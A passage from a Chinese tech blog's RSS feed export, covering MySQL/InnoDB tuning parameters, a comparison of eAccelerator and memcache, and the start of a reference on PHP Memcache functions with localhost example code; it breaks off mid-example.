innodb_log_buffer_pool_size = n 为InnoDB数据表及其索引而保留的RAM内存量(默认设置是8MB)。这个参数对速度有着相当大的影响，如果计算机上只运行有MySQL/InnoDB数据库服务器，就应该把全部内存的80%用于这个用途。<br />
innodb_log_buffer_size = n 事务日志文件写操作缓存区的最大长度(默认设置是1MB)。<br />
innodb_additional_men_pool_size = n 为用于内部管理的各种数据结构分配的缓存区最大长度(默认设置是1MB)。<br />
innodb_file_io_threads = n I/O操作(硬盘写操作)的最大线程个数(默认设置是4)。<br />
innodb_thread_concurrency = n InnoDB驱动程序能够同时使用的最大线程个数(默认设置是8)。<br />
mysqld程序&#8211;其它选项</p>
<p>bind-address = ipaddr MySQL服务器的IP地址。如果MySQL服务器所在的计算机有多个IP地址，这个选项将非常重要。<br />
default-storage-engine = type 新数据表的默认数据表类型(默认设置是MyISAM)。这项设置还可以通过&#8211;default-table-type选项来设置。<br />
default-timezone = name 为MySQL服务器设置一个地理时区(如果它与本地计算机的地理时区不一样)。<br />
ft_min_word_len = n 全文索引的最小单词长度工。这个选项的默认设置是4，意思是在创建全文索引时不考虑那些由3个或更少的字符构建单词。<br />
Max-allowed-packet = n 客户与服务器之间交换的数据包的最大长度，这个数字至少应该大于客户程序将要处理的最大BLOB块的长度。这个选项的默认设置是1MB。<br />
Sql-mode = model1, mode2, &#8230; MySQL将运行在哪一种SQL模式下。这个选项的作用是让MySQL与其他的数据库系统保持最大程度的兼容。这个选项的可取值包括ansi、db2、oracle、no_zero_date、pipes_as_concat。<br />
注意：如果在配置文件里给出的某个选项是mysqld无法识别的(如，因为犯了一个愚蠢的打字错误)，MySQL服务器将不启动。</p>
<div>
<p>MySQL的系统变量以调优性能</p>
<p>(1)、back_log：<br />
要求 MySQL 能有的连接数量。当主要MySQL线程在一个很短时间内得到非常多的连接请求，这就起作用，然后主线程花些时间(尽管很短)检查连接并且启动一个新线程。<br />
back_log值指出在MySQL暂时停止回答新请求之前的短时间内多少个请求可以被存在堆栈中。只有如果期望在一个短时间内有很多连接，你需要增加它，换句话说，这值对到来的TCP/IP连接的侦听队列的大小。你的操作系统在这个队列大小上有它自己的限制。 试图设定back_log高于你的操作系统的限制将是无效的。<br />
当你观察你的主机进程列表，发现大量 264084 | unauthenticated user | xxx.xxx.xxx.xxx | NULL | Connect | NULL | login | NULL 的待连接进程时，就要加大 back_log 的值了。默认数值是50，我把它改为500。</p>
<p>(2)、interactive_timeout：<br />
服务器在关闭它前在一个交互连接上等待行动的秒数。一个交互的客户被定义为对 mysql_real_connect()使用 CLIENT_INTERACTIVE 选项的客户。 默认数值是28800，我把它改为7200。</p>
<p>(3)、key_buffer_size：<br />
索引块是缓冲的并且被所有的线程共享。key_buffer_size是用于索引块的缓冲区大小，增加它可得到更好处理的索引(对所有读和多重写)，到你能负担得起那样多。如果你使它太大，系统将开始换页并且真的变慢了。默认数值是8388600(8M)，我的MySQL主机有2GB内存，所以我把它改为 402649088(400MB)。</p>
<p>(4)、max_connections：<br />
允许的同时客户的数量。增加该值增加 mysqld 要求的文件描述符的数量。这个数字应该增加，否则，你将经常看到 Too many connections 错误。 默认数值是100，我把它改为1024 。</p>
<p>(5)、record_buffer：<br />
每个进行一个顺序扫描的线程为其扫描的每张表分配这个大小的一个缓冲区。如果你做很多顺序扫描，你可能想要增加该值。默认数值是131072(128K)，我把它改为16773120 (16M)</p>
<p>(6)、sort_buffer：<br />
每个需要进行排序的线程分配该大小的一个缓冲区。增加这值加速ORDER BY或GROUP BY操作。默认数值是2097144(2M)，我把它改为 16777208 (16M)。</p>
<p>(7)、table_cache：<br />
为所有线程打开表的数量。增加该值能增加mysqld要求的文件描述符的数量。MySQL对每个唯一打开的表需要2个文件描述符。默认数值是64，我把它改为512。</p>
<p>(8)、thread_cache_size：<br />
可以复用的保存在中的线程的数量。如果有，新的线程从缓存中取得，当断开连接的时候如果有空间，客户的线置在缓存中。如果有很多新的线程，为了提高性能可以这个变量值。通过比较 Connections 和 Threads_created 状态的变量，可以看到这个变量的作用。我把它设置为 80。</p>
<p>(10)、wait_timeout：<br />
服务器在关闭它之前在一个连接上等待行动的秒数。 默认数值是28800，我把它改为7200。</p>
<p>注：参数的调整可以通过修改 /etc/my.cnf 文件并重启 MySQL 实现。这是一个比较谨慎的工作，上面的结果也仅仅是我的一些看法，你可以根据你自己主机的硬件情况（特别是内存大小）进一步修改。</p>
<div>
<p>MySQL 的max_allowed_packet保护导致MySQL Server 不断的启停</p>
<p>那到底是什么原因造成MySQL死掉又启来呢？</p>
<p>如果MySQL能够正常自动启动，那访问这个页面对MySQL的影响是数据库系统可以自动识别出来的，出于一种自动保护的原因，它才会shutdown MySQL.</p>
<p>基于以上的原因，开始查找资料，看都有在哪些情况下MySQL会自动shutdown后又立即startup的。<br />
  <br />
首先想到的是buffer(read,sort,temp etc.)不足，那么修改配置文件，把它们都增大一倍后重启MySQL，还是同样的会死掉。</p>
<p>接下来想到的就是可能请求的连接包过大，检查配置文件，其中并没有max_allowed_packet声明。在配置文件中，设置max_allowed_packet=2M后，重新启动MySQL，问题解决！</p>
<p>呵呵，看来mysql的配置文件中还有很多内容可挖的哟，以后得多多注意了。</p>
</div>
</div>
</div>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/session" title="session" rel="tag">session</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%90%AB%E4%B9%89" title="含义" rel="tag">含义</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%BC%95%E5%85%A5" title="引入" rel="tag">引入</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" title="操作系统" rel="tag">操作系统</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%9C%80%E5%BF%AB" title="最快" rel="tag">最快</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%95%9C%E5%83%8F" title="镜像" rel="tag">镜像</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>eAccelerator与memcache的区别与用途</title>
		<link>http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html</link>
		<comments>http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:18:41 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[工具]]></category>
		<category><![CDATA[提速]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=361</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>eAccelerator和memcache，是目前较为主流的两个可使用在PHP之中的缓存加速工具． eAccelerator专门为PHP开发，而memcache不仅仅用在PHP之中，其他所有的语言都可以使用． 　eAccelerator的主要功能：    1. 缓存PHP文件的执行代码：在被缓存的代码再次被调用时，将直接从内存读取，从而在很大程度了PHP运行的速度．    2. 提供了共享内存操作函数：用户可以将自己的常见非资源对像，保存到内存之中，并可以随时读取出来． 　memcache的主要功能： 　提供共享内存操作函数，可以保存和读取数据 　两者的共同点： 　共同点：都提供了共享内存操作函数，可以用来保存和读取自己的数据 　两者的区别： 　eAccelerator作为PHP的扩展库存在，那么仅在PHP运行时，可以操作和读写共享内存，一般情况，只能由操作共享内存的程序自己调用． 　同时，eAccelerator可以缓存PHP程序的执行代码，提升程序的调入和执行速度． 　memcache主要作为一个共享内存服务器，其PHP扩展库仅仅作为PHP到memcache的连接库存在，类似MySQL扩展库．因而，memcache可以完全脱离PHP，其共享的数据，可以被不同的程序调用． 　根据两者的不同，我们将他们使用在真真需要的地方： 　eAccelerator主要用于单机PHP提速，缓存中间数据．对于实时性高，但数据操作量小的情况下，非常实用． 　memcache用于分布式或者集群系统，多台服务器可以共享数据．对于实时性高，同时数据操作量大的情况下，非常实用． 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- php的文档句法(heredoc)]]></description>
			<content:encoded><![CDATA[<p>eAccelerator和memcache，是目前较为主流的两个可使用在PHP之中的缓存加速工具．</p>
<p>eAccelerator专门为PHP开发，而memcache不仅仅用在PHP之中，其他所有的语言都可以使用．</p>
<p>　eAccelerator的主要功能：<br />
   1. 缓存PHP文件的执行代码：在被缓存的代码再次被调用时，将直接从内存读取，从而在很大程度了PHP运行的速度．<br />
   2. 提供了共享内存操作函数：用户可以将自己的常见非资源对像，保存到内存之中，并可以随时读取出来．</p>
<p>　memcache的主要功能：<br />
　提供共享内存操作函数，可以保存和读取数据</p>
<p>　两者的共同点：<br />
　共同点：都提供了共享内存操作函数，可以用来保存和读取自己的数据</p>
<p>　两者的区别：<br />
　eAccelerator作为PHP的扩展库存在，那么仅在PHP运行时，可以操作和读写共享内存，一般情况，只能由操作共享内存的程序自己调用．<br />
　同时，eAccelerator可以缓存PHP程序的执行代码，提升程序的调入和执行速度．<br />
　memcache主要作为一个共享内存服务器，其PHP扩展库仅仅作为PHP到memcache的连接库存在，类似MySQL扩展库．因而，memcache可以完全脱离PHP，其共享的数据，可以被不同的程序调用．</p>
<p>　根据两者的不同，我们将他们使用在真真需要的地方：<br />
　eAccelerator主要用于单机PHP提速，缓存中间数据．对于实时性高，但数据操作量小的情况下，非常实用．<br />
　memcache用于分布式或者集群系统，多台服务器可以共享数据．对于实时性高，同时数据操作量大的情况下，非常实用．</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/requireeecludexi.html" title="require和include的异同">require和include的异同</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%8F%90%E9%80%9F" title="提速" rel="tag">提速</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHP中的Memcache函数库（Memcache Functions）</title>
		<link>http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html</link>
		<comments>http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:10:12 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[class]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[status]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[获取]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[错误]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=350</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>/usr/local/bin/memcached -d -m 10 -u root -l 127.0.0.1 -p 11211 -c 256 -P /tmp/memcached.pid memcached 的服务正式启动 Memcache::add — 添加一个值，如果已经存在，则返回false Memcache::addServer — 添加一个可供使用的服务器地址 Memcache::close — 关闭一个Memcache对象 Memcache::connect — 创建一个Memcache对象 memcache_debug — 控制调试功能 Memcache::decrement — 对保存的某个key中的值进行减法操作 Memcache::delete — 删除一个key值 Memcache::flush — 清除所有缓存的数据 Memcache::get — 获取一个key值 Memcache::getExtendedStats — 获取进程池中所有进程的运行系统统计 Memcache::getServerStatus — 获取运行服务器的参数 Memcache::getStats — 返回服务器的一些运行统计信息 Memcache::getVersion — 返回运行的Memcache的版本信息 [...]]]></description>
			<content:encoded><![CDATA[<p>/usr/local/bin/memcached -d -m 10 -u root -l 127.0.0.1 -p 11211 -c 256 -P /tmp/memcached.pid<br />
memcached 的服务正式启动</p>
<p>Memcache::add — 添加一个值，如果已经存在，则返回false<br />
Memcache::addServer — 添加一个可供使用的服务器地址<br />
Memcache::close — 关闭一个Memcache对象<br />
Memcache::connect — 创建一个Memcache对象<br />
memcache_debug — 控制调试功能<br />
Memcache::decrement — 对保存的某个key中的值进行减法操作<br />
Memcache::delete — 删除一个key值<br />
Memcache::flush — 清除所有缓存的数据<br />
Memcache::get — 获取一个key值<br />
Memcache::getExtendedStats — 获取进程池中所有进程的运行系统统计<br />
Memcache::getServerStatus — 获取运行服务器的参数<br />
Memcache::getStats — 返回服务器的一些运行统计信息<br />
Memcache::getVersion — 返回运行的Memcache的版本信息<br />
Memcache::increment — 对保存的某个key中的值进行加法操作<br />
Memcache::pconnect — 创建一个Memcache的持久连接对象<br />
Memcache::replace — R对一个已有的key进行覆写操作<br />
Memcache::set — 添加一个值，如果已经存在，则覆写<br />
Memcache::setCompressThreshold — 对大于某一大小的数据进行压缩<br />
Memcache::setServerParams — 在运行时修改服务器的参数<span id="more-350"></span></p>
<p>建议用面 向对象的方式来测试这个库：</p>
<div class="hl-surround">
<div class="hl-main"><span style="color: blue;">&lt;?<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a></span><span style="color: gray;"><br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;"> = </span><span style="color: green;">new</span><span style="color: gray;"> </span><span style="color: blue;">Memcache</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">connect</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">localhost</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">11211</span><span style="color: olive;">)</span><span style="color: gray;"> </span><span style="color: green;">or</span><span style="color: gray;"> </span><span style="color: green;">die</span><span style="color: gray;"> </span><span style="color: olive;">(</span><span style="color: #8b0000;">“</span><span style="color: red;">Could not connect</span><span style="color: #8b0000;">“</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$version</span><span style="color: gray;"> = </span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">getVersion</span><span style="color: olive;">()</span><span style="color: gray;">;<br />
</span><span style="color: green;">echo</span><span style="color: gray;"> </span><span style="color: #8b0000;">“</span><span style="color: red;">Server&#8217;s version: </span><span style="color: #8b0000;">“</span><span style="color: gray;">.</span><span style="color: #00008b;">$version</span><span style="color: gray;">.</span><span style="color: #8b0000;">“</span><span style="color: red;">&lt;br/&gt;</span><span style="color: navy;">\n</span><span style="color: #8b0000;">“</span><span style="color: gray;">;<br />
</span><span style="color: blue;">?&gt;</span></div>
</div>
<p>Memcache::getVersion方法的 作用是返回运行的Memcache的版本信息。</p>
<p>Memcache::getStats方法的作用是返回服务器的一些运行统计信息。 Memcache::getStats方法有三个参数，第一个参数表示要求返回的类型：reset, malloc, maps, cachedump, slabs, items, sizes;第二个参数和第三个参数是在第一个参数设置为“cachedump”时使用的。Memcache::getExtendedStats方法的 作用是获取进程池中所有进程的运行系统统计。</p>
<div class="hl-surround">
<div class="hl-main"><span style="color: blue;">&lt;?php</span><span style="color: gray;"><br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;"> = </span><span style="color: green;">new</span><span style="color: gray;"> </span><span style="color: blue;">Memcache</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">connect</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">localhost</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">11211</span><span style="color: olive;">)</span><span style="color: gray;"> </span><span style="color: green;">or</span><span style="color: gray;"> </span><span style="color: green;">die</span><span style="color: gray;"> </span><span style="color: olive;">(</span><span style="color: #8b0000;">“</span><span style="color: red;">Could not connect</span><span style="color: #8b0000;">“</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: blue;">print_r</span><span style="color: olive;">(</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">getStats</span><span style="color: olive;">())</span><span style="color: gray;">;<br />
</span><span style="color: #ffa500;">/**<br />
* Array<br />
* (<br />
*     [pid] =&gt; 8052<br />
*     [uptime] =&gt; 9205<br />
*     [time] =&gt; 1205898428<br />
*     [version] =&gt; 1.2.5<br />
*     [pointer_size] =&gt; 32<br />
*     [rusage_user] =&gt; 0.008000<br />
*     [rusage_system] =&gt; 0.000000<br />
*     [curr_items] =&gt; 1<br />
*     [total_items] =&gt; 17<br />
*     [bytes] =&gt; 57<br />
*     [curr_connections] =&gt; 2<br />
*     [total_connections] =&gt; 15<br />
*     [connection_structures] =&gt; 3<br />
*     [cmd_get] =&gt; 9<br />
*     [cmd_set] =&gt; 23<br />
*     [get_hits] =&gt; 5<br />
*     [get_misses] =&gt; 4<br />
*     [evictions] =&gt; 0<br />
*     [bytes_read] =&gt; 671<br />
*     [bytes_written] =&gt; 850<br />
*     [limit_maxbytes] =&gt; 10485760<br />
*     [threads] =&gt; 1<br />
* )<br />
*/</span><span style="color: gray;"><br />
</span><span style="color: blue;">?&gt;</span></div>
</div>
<p>Memcache::connect方法的作用是 创建一个Memcache对象。Memcache::pconnect方法的作用是创建一个Memcache的持久连接对象。 Memcache::close方法的作用是关闭一个Memcache对象。</p>
<p>Memcache::set方法的作用是添加一个 值，Memcache::set方法有四个参数，第一个参数是key，第二个参数是value，第三个参数可选，表示是否压缩保存，第四个参数可选，用来 设置一个过期自动销毁的时间。Memcache::add方法的作用和Memcache::set方法类似，区别是如果Memcache::add方法的 返回值为false，表示这个key已经存在，而Memcache::set方法则会直接覆写。Memcache::get方法的作用是获取一个key 值，Memcache::get方法有一个参数，表示key。Memcache::replace方法的作用是对一个已有的key进行覆写操 作，Memcache::replace方法有四个参数，作用和Memcache::set方法的相同。Memcache::delete方法的作用是删 除一个key值，Memcache::delete方法有两个参数，第一个参数表示key，第二个参数可选，表示删除延迟的时间。</p>
<div class="hl-surround">
<div class="hl-main"><span style="color: blue;">&lt;?php</span><span style="color: gray;"><br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;"> = </span><span style="color: green;">new</span><span style="color: gray;"> </span><span style="color: blue;">Memcache</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">connect</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">localhost</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">11211</span><span style="color: olive;">)</span><span style="color: gray;"> </span><span style="color: green;">or</span><span style="color: gray;"> </span><span style="color: green;">die</span><span style="color: gray;"> </span><span style="color: olive;">(</span><span style="color: #8b0000;">“</span><span style="color: red;">Could not connect</span><span style="color: #8b0000;">“</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
